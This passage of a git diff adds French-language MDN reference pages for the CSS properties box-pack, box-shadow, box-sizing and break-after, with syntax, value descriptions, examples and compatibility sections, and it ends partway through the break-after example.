+<p>Pour les éléments XUL, si l'orientation est définie avec l'attribut {{XULAttr("orient")}} cette propriété est ignorée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/css3-flexbox/">Brouillon de travail pour le module des boîtes flexibles (W3C)</a> {{Note("L'état actuel de cette spécification ne reflète pas l'implémentation de Gecko ou WebKit.")}}</li>
+ <li><a class="external" href="https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">Ancienne version de la spécification.</a> {{Note("Les implémentations de WebKit et Gecko reflètent cette version de la spécification.")}}</li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.box-orient")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("box-direction")}},</li>
+ <li>{{cssxref("box-pack")}},</li>
+ <li>{{cssxref("box-align")}},</li>
+ <li>{{cssxref("flex-direction")}}.</li>
+</ul>
diff --git a/files/fr/web/css/box-pack/index.html b/files/fr/web/css/box-pack/index.html
new file mode 100644
index 0000000000..bd634e8f81
--- /dev/null
+++ b/files/fr/web/css/box-pack/index.html
@@ -0,0 +1,149 @@
+---
+title: box-pack
+slug: Web/CSS/box-pack
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-pack
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<div class="blockIndicator warning">
+<p><strong>Attention ! </strong>Cette propriété fait partie de la première version du standard pour les boîtes flexibles (<em>flexbox</em>) et sera remplacée dans une prochaine version.</p>
+</div>
+
+<div>Les propriétés CSS <strong><code>-moz-box-pack</code></strong> et <strong><code>-webkit-box-pack</code></strong> définissent la façon dont une boîte <code>-moz-box</code> ou <code>-webkit-box</code> groupe son contenu dans la direction de la disposition. L'effet de cette propriété n'est visible que s'il reste de l'espace supplémentaire dans la boîte. Pour plus de détails, se référer à la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> qui décrit les différentes propriétés des boîtes flexibles.</div>
+
+<pre class="brush:css no-line-numbers">/*  Valeurs avec un mot-clé */
+box-pack: start;
+box-pack: center;
+box-pack: end;
+box-pack: justify;
+
+/* Valeurs globales */
+box-pack: inherit;
+box-pack: initial;
+box-pack: unset;
+</pre>
+
+<p>Voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> pour plus d'informations.</p>
+
+<p>La direction de la disposition dépend de l'orientation de l'élément : horizontale ou verticale.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette propriété se définit grâce à l'un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>La boîte regroupe son contenu au début. L'espace restant est donc laissé à la fin.</dd>
+ <dt><code>center</code></dt>
+ <dd>La boîte regroupe son contenu au centre. L'espace restant est divisé de façon égale entre le début et la fin.</dd>
+ <dt><code>end</code></dt>
+ <dd>La boîte regroupe son contenu à la fin. L'espace restant est donc laissé au début.</dd>
+ <dt><code>justify</code></dt>
+ <dd>L'espace est réparti entre chacun des éléments fils sans qu'un espace soit placé avant le premier fils ou après le dernier. S'il y a un seul élément fils, la valeur est synonyme de <code>start</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div.exemple {
+  border-style: solid;
+
+  display: -moz-box; /* Mozilla */
+  display: -webkit-box; /* WebKit */
+
+  /* On rend la boîte plus grande que son
+     contenu pour avoir de l'espace pour box-pack */
+  height: 300px;
+  /* On rend la boîte suffisament large pour que
+     contenu soit centré horizontalemen */
+  width: 300px;
+
+  /* On oriente les éléments fils verticalement */
+  -moz-box-orient: vertical; /* Mozilla */
+  -webkit-box-orient: vertical; /* WebKit */
+
+  /* On aligne les fils sur le centre horizontal */
+  -moz-box-align: center; /* Mozilla */
+  -webkit-box-align: center; /* WebKit */
+
+  /* On groupe les éléments fils en bas de la boîte */
+  -moz-box-pack: end;             /* Mozilla */
+  -webkit-box-pack: end;          /* WebKit */
+}
+
+div.exemple p {
+  /* On réduit les éléments fils, pour
+     qu'il y ait de la place pour box-align */
+  width: 200px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;
+  &lt;p&gt;Je serai 2nd en partant du bas de div.exemple, centré horizontalement.&lt;/p&gt;
+  &lt;p&gt;Je serai tout en bas de div.exemple, centré horizontalement.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 310, 310)}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Le « début » et la « fin » de la boîte dépendent de l'orientation et de la direction de la boîte. Voici le tableau indiquant le début de la boîte en fonction de l'orientation et de la direction :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th> </th>
+   <th><strong>Normal</strong></th>
+   <th><strong>Inverse</strong></th>
+  </tr>
+  <tr>
+   <th><strong>Horizontal</strong></th>
+   <td>gauche</td>
+   <td>droit</td>
+  </tr>
+  <tr>
+   <th><strong>Vertical</strong></th>
+   <td>hau</td>
+   <td>bas</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Si le regroupement utilise l'attribut <code>pack</code> de l'élément, le style est ignoré.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas standard mais une propriété semblable est apparue <a class="external" href="https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">avec les brouillons de spécification pour les boîtes flexibles CSS3</a> et a été remplacée dans les versions suivantes de la spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<div>{{Compat("css.properties.box-pack")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("box-orient")}},</li>
+ <li>{{cssxref("box-direction")}},</li>
+ <li>{{cssxref("box-align")}}</li>
+</ul>
diff --git a/files/fr/web/css/box-shadow/index.html b/files/fr/web/css/box-shadow/index.html
new file mode 100644
index 0000000000..b92597dddb
--- /dev/null
+++ b/files/fr/web/css/box-shadow/index.html
@@ -0,0 +1,156 @@
+---
+title: box-shadow
+slug: Web/CSS/box-shadow
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-shadow
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>box-shadow</code></strong> ajoute des ombres à la boîte d'un élément via une liste d'ombres séparées par des virgules. Une boîte d'ombre est définie avec des décalages horizontal et vertical par rapport à l'élément, avec des rayons de flou et d'étalement et avec une couleur.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/box-shadow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Elle permet de projeter une ombre depuis un élément. Si une {{cssxref("border-radius")}} est définie sur l'élément avec l'ombre, la boîte de l'ombre prendra les mêmes arrondis. L'ordre des couches (<em>z order</em>) pour plusieurs ombres sera le même <a href="/fr/docs/Web/CSS/text-shadow">que pour les ombres texte</a> (la première ombre est sur le dessus).</p>
+
+<p><a href="/fr/docs/Web/CSS/CSS_Box_Model/Box-shadow_generator">Le générateur de <code>box-shadow</code></a> est un outil interactif qui permet de générer des valeurs pour <code>box-shadow</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* offset-x | offset-y | color */
+box-shadow: 60px -16px teal;
+
+/* offset-x | offset-y | blur-radius | color */
+box-shadow: 10px 5px 5px black;
+
+/* offset-x | offset-y | blur-radius | spread-radius | color */
+box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);
+
+/* inset | offset-x | offset-y | color */
+box-shadow: inset 5em 1em gold;
+
+/* Une liste d'ombres, séparées par des virgules */
+box-shadow: 3px 3px red, -1em 0 0.4em olive;
+
+/* Mots-clés globaux */
+box-shadow: inherit;
+box-shadow: initial;
+box-shadow: unset;
+</pre>
+
+<p>La propriété <code>box-shadow</code> peut être définie grâce :</p>
+
+<ul>
+ <li>À deux, trois ou quatre valeurs de longueur ({{cssxref("&lt;length&gt;")}}) :
+  <ul>
+   <li>Avec deux valeurs, celles-ci sont respectivement considérées comme les coordonnées de décalage de l'ombre : <a href="#offset"><code>&lt;offset-x&gt;</code> et <code>&lt;offset-y&gt;</code></a></li>
+   <li>Si une troisième valeur est fournie, celle-ci correspondra au rayon du flou : <code><a href="#blur">&lt;blur-radius&gt;</a></code></li>
+   <li>Si une quatrième valeur est fournie, celle-ci correspondra au rayon d'étalement : <code><a href="#spread">&lt;spread-radius&gt;</a></code>.</li>
+  </ul>
+ </li>
+ <li>Au mot-clé optionnel <code><a href="#inset">inset</a></code></li>
+ <li>À une valeur de couleur (<code><a href="#color">&lt;color&gt;</a></code>) optionnelle.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="inset" name="inset"><code>inset</code></a></dt>
+ <dd>Si la valeur n'est pas définie (le cas par défaut), l'ombre sera une ombre portée (comme si la boîte était élevée au-dessus du contenu).<br>
+ La présence du mot-clé <code>inset</code> modifie l'ombre afin qu'elle soit tournée vers l'intérieur du cadre (comme si le contenu était enfoncé dans la boîte). Les ombres tournées vers l'intérieur sont dessinées à l'intérieur de la bordure (même les transparentes), au-dessus de l'arrière-plan mais sous le contenu.</dd>
+ <dt><a id="offset" name="offset"><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code></a></dt>
+ <dd>Deux valeurs de longueur ({{cssxref("&lt;length&gt;")}} qui permettent de définir le décalage de l'ombre. <code>&lt;offset-x&gt;</code> définit la distance horizontale du décalage et les valeurs négatives placeront l'ombre à gauche de l'élément. <code>&lt;offset-y&gt;</code> définit la distance verticale et les distances négatives placent l'ombre au-dessus de l'élément (cf. {{cssxref("&lt;length&gt;")}} pour les différentes unités possibles).<br>
+ Si les deux valeurs sont <code>0</code>, l'ombre est placée derrière l'élément (et peut générer un effet de flou si <code>&lt;blur-radius&gt;</code> et/ou <code>&lt;spread-radius&gt;</code> est utilisé).</dd>
+ <dt><a id="blur" name="blur"><code>&lt;blur-radius&gt;</code></a></dt>
+ <dd>Une troisième valeur de longueur ({{cssxref("&lt;length&gt;")}}). Plus cette valeur sera grande, plus le flou de l'ombre sera diffus : l'ombre sera donc plus étalée et plus légère. Les valeurs négatives ne sont pas autorisées. Si la valeur n'est pas définie, sa valeur par défaut est <code>0</code> (le côté de l'ombre est rectiligne).</dd>
+ <dt><a id="spread" name="spread"><code>&lt;spread-radius&gt;</code></a></dt>
+ <dd>Une quatrième valeur de longueur ({{cssxref("&lt;length&gt;")}}). Les valeurs positives étaleront l'ombre et les valeurs négatives rétréciront l'ombre. Si elle n'est pas définie, la valeur par défaut est <code>0</code> (l'ombre aura la même taille que l'élément).</dd>
+ <dt><a id="color" name="color"><code>&lt;color&gt;</code></a></dt>
+ <dd>Une valeur de couleur ({{cssxref("&lt;color&gt;")}}). Si la valeur n'est pas définie, la couleur utilisée dépend du navigateur ce sera généralement la propriété {{cssxref("color")}} mais Safari affiche une ombre transparente.</dd>
+</dl>
+
+<h3 id="Interpolation">Interpolation</h3>
+
+<p>Chaque ombre de la liste (<code>none</code> sera traitée comme une liste de longueur nulle) est interpolée via la couleur, le décalage horizontal et vertical, le rayon de flou et l'étalement (lorsque c'est pertinent). Pour chaque ombre, si les deux ombres sont ou ne sont pas <code>inset</code>, l'ombre interpolée doit respecter cette valeur. Si l'une des ombres a <code>inset</code> et l'autre non, la liste d'ombres ne peut pas être interpolée. Si les listes d'ombres ont des longueurs différentes, la liste la plus courte sera complétée à la fin avec des ombres dont la couleur est <code>transparent</code>, toutes les longueurs valent <code>0</code> et <code>inset</code> pour que la valeur corresponde à la plus longue liste.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 class="cleared" id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  height: 5em;
+  width: 300px;
+  background-color: rgba(128,128,128,0.1);
+}
+.ombre_droite_haut {
+  box-shadow: 60px -16px teal; /* la valeur négative décale vers le haut */
+}
+
+.ombre_interieure {
+  box-shadow: inset 5em 1em gold;
+  /* le mot-clé inset renverse l'ombre à l'intérieur */
+}
+
+.ombres_multiples_diffuses {
+  box-shadow: inset 0 0 1em gold, 0 0 2em red;
+  /* deux ombres dans la liste et des rayons de flou pour chacune */
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="ombre_droite_haut"&gt;Déportée dans l'autre sens&lt;/p&gt;
+
+&lt;p class="ombre_interieure"&gt;L'ombre est dans le contenu !&lt;/p&gt;
+
+&lt;p class="ombres_multiples_diffuses"&gt;Du rouge dehors et du doré dedans&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","400","300")}}</p>
+
+<h2 class="cleared" id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.box-shadow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html">Quelques tests sur <code>box-shadow</code> (en anglais)</a></li>
+ <li><a href="https://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/">Tutoriel et box-shadow tutorial and examples</a></li>
+ <li><a href="https://cssgenerator.org/box-shadow-css-generator.html">Générateur d'ombres CSS</a></li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs sur des éléments HTML grâce à CSS</a></li>
+ <li>Le type de données {{cssxref("&lt;color&gt;")}}</li>
+ <li>Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}.</li>
+</ul>
diff --git a/files/fr/web/css/box-sizing/index.html b/files/fr/web/css/box-sizing/index.html
new file mode 100644
index 0000000000..5e39cf30d5
--- /dev/null
+++ b/files/fr/web/css/box-sizing/index.html
@@ -0,0 +1,142 @@
+---
+title: box-sizing
+slug: Web/CSS/box-sizing
+tags:
+  - Boîtes
+  - CSS
+  - Mocèle de Boîte CSS
+  - Propriété CSS
+  - Reference
+  - border-box
+  - box-sizing
+  - content-box
+  - height
+  - modèle de boîte
+  - size
+  - width
+translation_of: Web/CSS/box-sizing
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>box-sizing</code></strong> définit la façon dont la hauteur et la largeur totale d'un élément est calculée (avec <a href="/fr/docs/CSS/Modèle_de_boîte">le modèle de boîte CSS</a>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/box-sizing.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>En CSS, la largeur et la hauteur affectées à un élément s'appliquent par défaut à la boîte de contenu (<em>content box</em>) de l'élément. Si l'élément possède une bordure (<em>border</em>) ou du remplissage (<em>padding</em>), celui-ci est ajouté à la largeur et/ou à la hauteur de la boîte affichée à l'écran. Cela signifie qu'il faut ajuster les valeurs de hauteur et de largeur afin qu'elles permettent d'ajouter n'importe quelle bordure ou n'importe quel remplissage qui serait ajouté par la suite.</p>
+
+<p>La propriété <code>box-sizing</code> peut être utilisée afin d'ajuster ce comportement :</p>
+
+<ul>
+ <li><code>content-box</code> est la valeur par défaut et correspond au comportement par défaut décrit ci-avant. Si on définit un élément avec une largeur de 100 pixels, la boîte de contenu de cet élément mesurera 100 pixels de large et la largeur de la bordure et/ou du remplissage sera alors ajoutée pour constituer la largeur finalement affichée.</li>
+ <li><code>border-box</code> indique au navigateur de prendre en compte la bordure et le remplissage dans la valeur définie pour la largeur et la hauteur. Autrement dit, si on définit un élément avec une largeur de 100 pixels, ces 100 pixels inclueront la bordure et le remplissage éventuellement ajoutés et c'est le contenu de la boîte qui sera compressé pour absorber cette largeur supplémentaire. Cela permet généralement de simplifier le dimensionnement des éléments.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Il est souvent utile de définir <code>box-sizing</code> à <code>border-box</code> aux éléments de mise en page. Cela facilite grandement la gestion de la taille des éléments et élimine généralement un certain nombre d'écueils que vous pouvez rencontrer lors de la mise en page de votre contenu.  D'autre part, lors de l'utilisation de la <code>position: relative</code> ou <code>position: absolute</code>, l'utilisation de <code>box-sizing: content-box</code> permet aux valeurs de positionnement d'être relatives au contenu, et indépendantes des changements de taille des bordures et de la taille de la marge interne, ce qui est parfois souhaitable.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+box-sizing: content-box;
+box-sizing: border-box;
+
+/* Valeurs globales */
+box-sizing: inherit;
+box-sizing: initial;
+box-sizing: unset;
+</pre>
+
+<p>La propriété <code>box-sizing</code> peut être définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>content-box</code></dt>
+ <dd>C'est la valeur initiale et la valeur par défaut, spécifiée dans le standard CSS. Les propriétés {{cssxref("width")}} et {{cssxref("height")}} sont mesurées en incluant le contenu, mais pas le remplissage, la bordure, la marge extérieure ou intérieure. Les dimensions de l'élément sont donc calculées à partir de la hauteur et de la largeur du contenu (on ne tient pas compte de la bordure ou du remplissage (<em>padding</em>)). Ainsi, <code>.box {width: 350px; border:10px solid black;}</code> fournira une boîte dont la largeur vaut  <code>370px</code>.</dd>
+ <dt><code>border-box</code></dt>
+ <dd>Les propriétés {{cssxref("width")}} et {{cssxref("height")}} incluent le contenu, le remplissage (<em>padding</em>), la bordure, mais pas la marge. C'est le <a href="/fr/docs/CSS/Modèle_de_boîte">modèle de boîte</a> utilisé par Internet Explorer lorsque le document est en mode de compatibilité (Quirks). La boîte de contenu ne peut pas être négative et est ramenée à 0 si nécessaire, il est donc impossible d'utiliser <code>border-box</code> pour faire disparaître l'élément. Les dimensions de l'élément sont calculées comme la somme de la bordure, du remplissage (<em>padding</em>) et du contenu.<br>
+ <br>
+ Ici, les dimensions de l'élément sont calculées comme suit : <em>largeur = bordure + marge interne + largeur du contenu</em>, et <em>hauteur = bordure + marge interne + hauteur du contenu</em>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<div class="blockIndicator note">
+<p>Note : La valeur <code>padding-box</code> a été dépréciée.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 160px;
+  height: 80px;
+  padding: 20px;
+  border: 8px solid red;
+  background: yellow;
+}
+
+.content-box {
+  box-sizing: content-box;
+  /* Largeur totale : 160px + (2 * 20px) + (2 * 8px) = 216px
+     Hauteur totale : 80px + (2 * 20px) + (2 * 8px) = 136px
+     Largeur de la boîte de contenu : 160px
+     Hauteur de la boîte de contenu : 80px */
+}
+
+.border-box {
+  box-sizing: border-box;
+  /* Largeur totale : 160px
+     Hauteur totale : 80px
+     Largeur de la boîte de contenu : 160px - (2 * 20px) - (2 * 8px) = 104px
+     Hauteur de la boîte de contenu : 80px - (2 * 20px) - (2 * 8px) = 24px */
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="content-box"&gt;Content box&lt;/div&gt;
+&lt;br&gt;
+&lt;div class="border-box"&gt;Border box&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","auto","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#box-sizing', 'box-sizing')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.box-sizing")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">Apprendre : Le modèle de boîte CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/break-after/index.html b/files/fr/web/css/break-after/index.html
new file mode 100644
index 0000000000..8db0380d03
--- /dev/null
+++ b/files/fr/web/css/break-after/index.html
@@ -0,0 +1,211 @@
+---
+title: break-after
+slug: Web/CSS/break-after
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/break-after
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>break-after</code></strong> définit la façon dont la page, la colonne ou la région se fragmente après la boîte générée. S'il n'y a aucune boîte générée, la propriété est ignorée.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs génériques */
+break-after: auto;
+break-after: avoid;
+break-after: always;
+break-after: all;
+
+/* Valeurs de rupture liées aux pages */
+break-after: avoid-page;
+break-after: page;
+break-after: always;
+break-after: left;
+break-after: right;
+break-after: recto;
+break-after: verso;
+
+/* Valeurs de rupture liées aux colonnes */
+break-after: avoid-column;
+break-after: column;
+
+/* Valeurs de rupture liées aux régions */
+break-after: avoid-region;
+break-after: region;
+
+/* Valeurs globales */
+break-after: inherit;
+break-after: initial;
+break-after: unset;
+</pre>
+
+<p>Chaque point de rupture éventuel (c'est-à-dire chaque frontière d'élément) est influencé par trois propriétés : la valeur de {{cssxref("break-after")}} de l'élément précédent, la valeur de {{cssxref("break-before")}} de l'élément suivant et la valeur de <code>break-inside</code> de l'élément englobant.</p>
+
+<p>Pour déterminer si on a une rupture, on applique les règles suivantes :</p>
+
+<ol>
+ <li>Si l'une des trois valeurs correspond à une rupture forcée (<code>always</code>, <code>left</code>, <code>right</code>, <code>page</code>, <code>column</code> ou <code>region</code>), cette valeur l'emporte. Si plusieurs valeurs décrivent une rupture forcée, c'est celle de l'élément qui apparaît le plus tard dans le flux qui est prise en compte (autrement dit, {{cssxref("break-before")}} l'emporte sur {{cssxref("break-after")}} qui l'emporte sur {{cssxref("break-inside")}}).</li>
+ <li>Si l'une des trois valeurs correspond à une valeur visant à éviter une rupture (<code>avoid</code>, <code>avoid-page</code>, <code>avoid-region</code>, <code>avoid-column</code>), aucune rupture ne sera appliquée à cet endroit.</li>
+</ol>
+
+<p>Une fois que les ruptures forcées ont été appliquées, le moteur peut ajouter des ruptures « douces » sauf aux endroits où les propriétés empêchent les ruptures.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Valeur initiale qui ne force ni n'interdit de rupture (de page, de colonne ou de région) après la boîte.</dd>
+ <dt><code>always</code>{{experimental_inline}}</dt>
+ <dd>Force la rupture après la boîte principale. Le type de rupture dépend du contexte de fragmentation. Si on est dans un conteneur multi-colonne, il y aura une rupture de colonne et si on est à l'intérieur d'un média paginé, il y aura une rupture de page.</dd>
+ <dt><code>all</code>{{experimental_inline}}</dt>
+ <dd>Force la rupture de page après la boîte principale. La rupture a lieu quel que soit le contexte de fragmentation. Ainsi, si on a un élément dans un conteneur multi-colonne lui-même situé dans un média paginé, il y aura une rupture de colonne et une rupture de page.</dd>
+ <dt><code>avoid</code></dt>
+ <dd>Empêche toute rupture (de page, de colonne ou de région) après la boîte.</dd>
+ <dt><code>left</code></dt>
+ <dd>Force un ou deux saut de page après la boîte de l'élément afin que la prochaine page soit une page gauche.</dd>
+ <dt><code>right</code></dt>
+ <dd>Force un ou deux saut de page après la boîte de l'élément afin que la prochaine page soit une page droite.</dd>
+ <dt><code>page</code></dt>
+ <dd>Force un saut de page après la boîte de l'élément.</dd>
+ <dt><code>column</code></dt>
+ <dd>Force une rupture de colonne de page après la boîte de l'élément.</dd>
+ <dt><code>region</code> {{experimental_inline}}</dt>
+ <dd>Force une rupture de région après la boîte de l'élément.</dd>
+ <dt><code>recto</code> {{experimental_inline}}</dt>
+ <dd>Force un ou deux sauts de page après la boîte de l'élément afin que la prochaine page soit une page recto (une page droite pour le sens de lecture gauche à droite et une page gauche pour le sens de lecture droite à gauche).</dd>
+ <dt><code>verso</code> {{experimental_inline}}</dt>
+ <dd>Force un ou deux sauts de page après la boîte de l'élément afin que la prochaine page soit une page verso (une page gauche pour le sens de lecture gauche à droite et une page droite pour le sens de lecture droite à gauche).</dd>
+ <dt><code>avoid-page</code></dt>
+ <dd>Empêche toute saut de page après la boîte de l'élément.</dd>
+ <dt><code>avoid-column</code></dt>
+ <dd>Empêche toute rupture de colonne après la boîte de l'élément.</dd>
+ <dt><code>avoid-region </code>{{experimental_inline}}</dt>
+ <dd>Empêche toute rupture de région après boîte de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Synonymes_pour_page-break-after">Synonymes pour <code>page-break-after</code></h2>
+
+<p>Pour des raisons de compatibilité, la propriété historique {{cssxref("page-break-after")}} devrait être traitée par les navigateurs comme un alias de <code>break-after</code>. Cela permet de s'assurer que les sites qui utilisaient <code>page-break-after</code> continuent de fonctionner. Voici un sous-ensemble des valeurs avec leurs alias :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><code>page-break-after</code></th>
+   <th scope="col"><code>break-after</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>auto</code></td>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <td><code>left</code></td>
+   <td><code>left</code></td>
+  </tr>
+  <tr>
+   <td><code>right</code></td>
+   <td><code>right</code></td>
+  </tr>
+  <tr>
+   <td><code>avoid</code></td>
+   <td><code>avoid</code></td>
+  </tr>
+  <tr>
+   <td><code>always</code></td>
+   <td><code>page</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La valeur <code>always</code> de <code>page-break-*</code> a été implémenté par les navigateurs comme une rupture de page et pas comme une rupture de colonne. C'est pourquoi l'alias correspondant à cette valeur est <code>page</code> et pas <code>always</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  -webkit-column-count: 4;
+  -moz-column-count: 4;
+  column-count: 4;
+}
+
+p {
+  break-after: avoid-column;
+  /* Pour Firefox : */
+  page-break-after: avoid;
+  /* Pour WebKit : */
+  -webkit-column-break-after: avoid;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;
+  &lt;p&gt;« Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
